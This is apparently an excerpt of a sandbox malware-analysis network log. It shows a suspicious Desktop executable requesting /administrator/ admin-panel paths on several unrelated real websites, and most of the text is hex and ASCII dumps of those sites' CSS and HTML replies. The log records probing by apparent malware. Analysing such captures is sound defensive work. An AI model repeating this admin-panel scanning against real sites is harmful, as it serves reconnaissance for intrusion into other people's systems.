6c 6f 63 6b 2d Data Ascii: /hightideinc.com/feed/" /><link rel="alternate" type="application/rss+xml" title="High Tide Inc. » Comments Feed" href="https://hightideinc.com/comments/feed/" /><meta content="Divi v.4.23.1" name="generator" /><link rel="stylesheet" id="wp-block-
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 5f 5f 63 69 74 61 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 2e 32 35 65 6d 20 73 6f 6c 69 64 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 37 35 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 20 63 69 74 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 20 66 6f 6f 74 65 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a Data Ascii: wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-siz
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 61 72 74 2e 68 61 Data Ascii: theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video{margin:0 0 1em}.wp-block-template-part.ha
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 31 32 32 2c 32 32 30 2c 31 38 30 29 20 30 25 2c 72 67 62 28 30 2c 32 30 38 2c 31 33 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 74 6f 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 32 2c 31 38 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e 65 61 Data Ascii: nt(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linea
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 78 2d 6c 61 72 67 65 3a 20 34 32 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 34 30 3a 20 31 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 35 30 3a 20 31 2e 35 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 36 30 Data Ascii: ize--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d Data Ascii: yout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !im
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 29 20 21 69 6d Data Ascii: !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !im

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	57021	120.88.73.238	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	185	OUT	GET /administrator/ HTTP/1.1 Host: my.calvary.qld.edu.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	533	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 30 6f 33 33 73 61 6f 64 6e 6f 37 76 6d 72 6f 61 36 39 35 71 39 69 37 69 65 39 3b 20 65 78 70 69 72 65 73 3d 53 75 6e 2c 20 32 36 2d 4e 6f 76 2d 32 30 32 33 20 30 36 3a 35 39 3a 33 33 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 36 30 30 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 45 78 70 69 72 65 73 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:33 GMTTransfer-Encoding: chunkedConnection: closeSet-Cookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9; expires=Sun, 26-Nov-2023 06:59:33 GMT; Max-Age=3600; path=/; secure; HttpOnlyExpires
2023-11-26 05:59:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	57543	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	229	OUT	GET /administrator/index.php HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://webstamp.ca/administrator/
2023-11-26 05:59:33 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
2023-11-26 05:59:33 UTC	660	IN	Data Raw: 32 38 38 0d 0a 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 4f 4f 50 53 21 20 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 62 65 65 6e 20 0d 0a 72 65 6d 6f 76 65 64 20 6f 72 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2e 0d 0a 46 65 65 6c 20 66 72 65 65 20 74 6f 20 72 65 61 64 20 74 68 65 20 6d 61 6e 79 20 6f 74 68 65 72 20 61 72 74 69 63 6c 65 73 20 61 76 61 69 6c 61 62 6c 65 20 61 74 20 0d 0a 68 74 74 70 73 3a 2f 2f 77 65 62 73 74 61 6d 70 2e 63 61 0d 0a 3c 21 2d 2d 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 288/administrator/index.phpOOPS! Something went wrong. The page you requested has been removed or is currently under maintenance.Feel free to read the many other articles available at https://webstamp.ca...

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	57547	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	179	OUT	GET /administrator/ HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	534	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:33 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://www.maxiv.lu.se/wp-json/>; r
2023-11-26 05:59:34 UTC	14718	IN	Data Raw: 33 39 37 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 4d 41 58 20 49 56 3c 2f 74 69 74 Data Ascii: 3976<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>Page not found – MAX IV</tit
2023-11-26 05:59:34 UTC	1104	IN	Data Raw: 34 34 39 0d 0a 33 33 33 22 2c 22 62 75 74 74 6f 6e 5f 34 5f 61 73 5f 62 75 74 74 6f 6e 22 3a 22 31 22 2c 22 62 75 74 74 6f 6e 5f 37 5f 62 75 74 74 6f 6e 5f 63 6f 6c 6f 75 72 22 3a 22 23 36 31 61 32 32 39 22 2c 22 62 75 74 74 6f 6e 5f 37 5f 62 75 74 74 6f 6e 5f 68 6f 76 65 72 22 3a 22 23 34 65 38 32 32 31 22 2c 22 62 75 74 74 6f 6e 5f 37 5f 6c 69 6e 6b 5f 63 6f 6c 6f 75 72 22 3a 22 23 66 66 66 22 2c 22 62 75 74 74 6f 6e 5f 37 5f 61 73 5f 62 75 74 74 6f 6e 22 3a 22 31 22 2c 22 62 75 74 74 6f 6e 5f 37 5f 6e 65 77 5f 77 69 6e 22 3a 22 22 2c 22 66 6f 6e 74 5f 66 61 6d 69 6c 79 22 3a 22 69 6e 68 65 72 69 74 22 2c 22 68 65 61 64 65 72 5f 66 69 78 22 3a 22 22 2c 22 6e 6f 74 69 66 79 5f 61 6e 69 6d 61 74 65 5f 68 69 64 65 22 3a 22 31 22 2c 22 6e 6f 74 69 66 79 5f Data Ascii: 449333","button_4_as_button":"1","button_7_button_colour":"#61a229","button_7_button_hover":"#4e8221","button_7_link_colour":"#fff","button_7_as_button":"1","button_7_new_win":"","font_family":"inherit","header_fix":"","notify_animate_hide":"1","notify_
2023-11-26 05:59:34 UTC	15215	IN	Data Raw: 33 42 36 37 0d 0a 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 68 61 72 65 70 6f 69 6e 74 2d 70 6c 75 67 69 6e 2f 64 69 73 74 2f 6a 73 74 72 65 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 33 2e 35 22 20 69 64 3d 22 73 68 61 72 65 70 6f 69 6e 74 5f 73 63 72 69 70 74 73 5f 63 6f 72 65 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 68 61 72 65 70 6f 69 6e 74 2d 70 6c 75 67 69 6e 2f 6a 73 2f 73 68 61 72 65 70 6f 69 6e 74 5f 66 Data Ascii: 3B67pt"></script><script src="https://www.maxiv.lu.se/wp-content/plugins/sharepoint-plugin/dist/jstree.min.js?ver=3.3.5" id="sharepoint_scripts_core-js"></script><script src="https://www.maxiv.lu.se/wp-content/plugins/sharepoint-plugin/js/sharepoint_f
2023-11-26 05:59:34 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 31 2e 33 33 20 36 2e 30 31 20 32 34 2e 30 34 20 31 32 2e 32 32 20 34 38 2e 38 39 20 31 39 2e 36 20 36 36 2e 36 20 36 2e 37 37 20 31 36 2e 32 35 20 31 32 2e 37 36 20 32 32 2e 30 31 20 31 35 2e 38 33 20 32 32 2e 30 31 20 33 2e 30 37 20 30 20 39 2e 30 36 2d 35 2e 37 36 20 31 35 2e 38 33 2d 32 32 2e 30 31 20 37 2e 33 38 2d 31 37 2e 37 31 20 31 33 2e 35 39 2d 34 32 2e 35 36 20 31 39 2e 36 2d 36 36 2e 36 20 31 34 2e 33 31 2d 35 37 2e 32 35 20 32 37 2e 38 33 2d 31 31 31 2e 33 33 20 36 34 2e 35 34 2d 31 31 31 2e 33 33 20 33 36 2e 37 20 30 20 35 30 2e 32 32 20 35 34 2e 30 38 20 36 34 2e 35 34 20 31 31 31 2e 33 33 20 36 2e 30 31 20 32 34 2e 30 34 20 31 32 2e 32 32 20 34 38 2e 38 39 20 31 39 2e 36 20 36 36 2e 36 20 36 2e 37 37 20 31 36 2e 32 35 20 Data Ascii: 3FB81.33 6.01 24.04 12.22 48.89 19.6 66.6 6.77 16.25 12.76 22.01 15.83 22.01 3.07 0 9.06-5.76 15.83-22.01 7.38-17.71 13.59-42.56 19.6-66.6 14.31-57.25 27.83-111.33 64.54-111.33 36.7 0 50.22 54.08 64.54 111.33 6.01 24.04 12.22 48.89 19.6 66.6 6.77 16.25
2023-11-26 05:59:34 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 33 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 75 73 65 72 2d 61 63 63 65 73 73 2f 70 72 61 63 74 69 63 61 6c 2d 69 6e 66 6f 72 6d 61 74 69 6f 6e 2f 75 73 65 72 2d 6f 72 67 61 6e 69 73 61 74 69 6f 6e 73 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 55 73 65 72 20 6f 72 67 61 6e 69 73 61 74 69 6f 6e 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 Data Ascii: 3FC0u-item-type-post_type menu-item-object-page item-depth-3'><a href="https://www.maxiv.lu.se/user-access/practical-information/user-organisations/" class="menu-item-label">User organisations</a></li><li class='menu-item menu-item-type-post_type menu-i
2023-11-26 05:59:34 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c Data Ascii: 3FB8="material-icon submenu-toggler d-none minus-icon" aria-hidden="true"><span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-5'><a href="https://www.maxiv.lu.se/beaml
2023-11-26 05:59:34 UTC	16320	IN	Data Raw: 33 46 42 38 0d 0a 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 75 62 6d 65 6e 75 2d 74 6f 67 67 6c 65 72 20 64 2d 6e 6f 6e 65 20 6d 69 6e 75 73 2d 69 63 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 73 2d 73 68 61 72 70 22 3e 72 65 6d 6f 76 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 75 6c 3e 3c 6c 69 20 63 6c 61 73 73 3d 27 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 69 74 65 6d 2d 64 65 70 74 68 2d 35 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e Data Ascii: 3FB8material-icon submenu-toggler d-none minus-icon" aria-hidden="true"><span class="material-icons-sharp">remove</span></span><ul><li class='menu-item menu-item-type-post_type menu-item-object-page item-depth-5'><a href="https://www.maxiv.lu.se/beamlin
2023-11-26 05:59:34 UTC	16328	IN	Data Raw: 33 46 43 30 0d 0a 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 69 74 65 6d 2d 64 65 70 74 68 2d 34 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 62 65 61 6d 6c 69 6e 65 73 2d 61 63 63 65 6c 65 72 61 74 6f 72 73 2f 62 65 61 6d 6c 69 6e 65 73 2f 6e 61 6e 6f 6d 61 78 2f 64 69 66 66 72 61 63 74 69 6f 6e 2d 73 74 61 74 69 6f 6e 2f 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 6c 61 62 65 6c 22 3e 44 69 66 66 72 61 63 74 69 6f 6e 20 73 74 61 74 69 6f 6e 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 74 65 72 69 61 6c 2d 69 63 6f 6e 20 73 Data Ascii: 3FC0tem-type-post_type menu-item-object-page menu-item-has-children item-depth-4'><a href="https://www.maxiv.lu.se/beamlines-accelerators/beamlines/nanomax/diffraction-station/" class="menu-item-label">Diffraction station</a><span class="material-icon s
